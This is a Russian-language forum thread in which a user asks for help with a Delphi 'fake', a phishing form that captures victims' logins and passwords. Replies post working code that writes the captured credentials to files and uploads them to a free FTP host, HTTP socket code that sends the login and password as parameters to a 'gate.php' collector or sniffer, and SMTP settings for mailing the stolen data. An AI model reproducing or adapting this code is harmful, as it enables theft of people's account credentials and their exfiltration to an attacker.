[Помогите!] cоздать фейк на делфи

[l_F]

при создание фейка по гайду http://www.zhyk.ru/forum/showthread.php?t=98162
выдает ошибки
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
ПОМОГИТЕ

[Fizerator]

А тебе обязательно использовать idsmtp ?!
Используй старый добрый idftp
Зарегай где нить хостинг бесплатный с поддержкой ftp такой есть у яндекса, у юкоза и их тьма вообще!!!
Вот тебе мелкий код... сам подправишь если будет необходимо!

procedure TForm1.Button1Click(Sender: TObject);
var
i, int:integer;
begin
Memo1.Lines.SaveToFile('c:\login.txt');
memo2.Lines.SaveToFile('c:\pass.txt');
begin
randomize;
for i:=1 to 1 do
int := 1 + Random(1000);
begin
idftp1.Host:='ftp.narod.ru';
idftp1.Port:=21;
idftp1.Username:='login';
idftp1.Password:='*****';
idftp1.Connect;
idftp1.ChangeDir('YOU Directory');
idftp1.Put('c:\id.txt', IntToStr(int)+'login.txt', true);
idftp1.Put('c:\sid.txt', IntToStr(int)+'pass.txt', true);
idftp1.Disconnect;
begin
deletefile('c:\login.txt');
deletefile('c:\pass.txt');
end;
end;
end;
end;
end;

[Хакерок:)]

Решение этих ошибок: В компоненте idSMTP в свойстве Authentication Type (второе сверху) выбери значение atLogin. Это обязательная авторизация.

[Greeeds]

Цитата: Сообщение от Fizerator А тебе обязательно использовать idsmtp ?! Используй старый добрый idftp Зарегай где нить хостинг бесплатный с поддержкой ftp такой есть у яндекса, у юкоза и их тьма вообще!!! Вот тебе мелкий код... сам подправишь если будет необходимо! procedure TForm1.Button1Click(Sender: TObject); var i, int:integer; begin Memo1.Lines.SaveToFile('c:\login.txt'); memo2.Lines.SaveToFile('c:\pass.txt'); begin randomize; for i:=1 to 1 do int := 1 + Random(1000); begin idftp1.Host:='ftp.narod.ru'; idftp1.Port:=21; idftp1.Username:='login'; idftp1.Password:='*****'; idftp1.Connect; idftp1.ChangeDir('YOU Directory'); idftp1.Put('c:\id.txt', IntToStr(int)+'login.txt', true); idftp1.Put('c:\sid.txt', IntToStr(int)+'pass.txt', true); idftp1.Disconnect; begin deletefile('c:\login.txt'); deletefile('c:\pass.txt'); end; end; end; end; end;

Это что за нах?! Чо за *****кодер это придумал?

лить на фтп пароли

учимся

Цитата: uses WinSock; function GetIPAddress(name: string):string; var p: PHostEnt; begin try p:=gethostbyname(pchar(name)); if p=nil then result:='' else result:=inet_ntoa(PInAddr(p.h_addr_list^)^); except end; end; function HttpGet(url,php:String):String; var ws: TWSAData; TCP_sock:TSocket; SockAddr1:TSockAddr; packet:string; g,i:Integer; s:AnsiString; read:array[1..1024] of ansichar; begin WSAStartup($202,ws); TCP_sock:=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); SockAddr1.sin_family:=AF_INET; SockAddr1.sin_port:=htons(80); SockAddr1.sin_addr.S_addr:=inet_addr(PChar(GetIPAd dress(url))); connect(TCP_sock, SockAddr1, SizeOf(SockAddr1)); packet:='GET /'+php+' HTTP/1.1'+#13#10+ 'User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.6.30 Version/10.63'+#13#10+ 'Host: '+url+#13#10+ 'Connection: close'+#13#10+ #13#10; send(TCP_sock,packet[1],Length(Packet),0); s:=''; repeat g:=recv(TCP_sock,read,SizeOf(read),0); for i:=1 to g do s:=s+(read[i]); until g<=0; Result:=s; CloseSocket(TCP_sock); WSACleanup; end;

пишем гейт для приема или шлем на сниффер так:

Цитата: HttpGet('mysite.ru','/folder1/folder2/gate.php?login='+Edit1.Text+'&pass='+Edit2.Text);

[Хакерок:)]

Зачем так всё усложнять. Ошибка 5.7.1 на Яндексе, и посыл на [Ссылки могут видеть только зарегистрированные пользователи. ] на Mail.ru происходит из-за того, что в коде логин и пароль заданы, а в компоненте idSMTP авторизация не включена. Автор просил помоч с этой проблемой, да и судя по всему делал фейк по этой теме.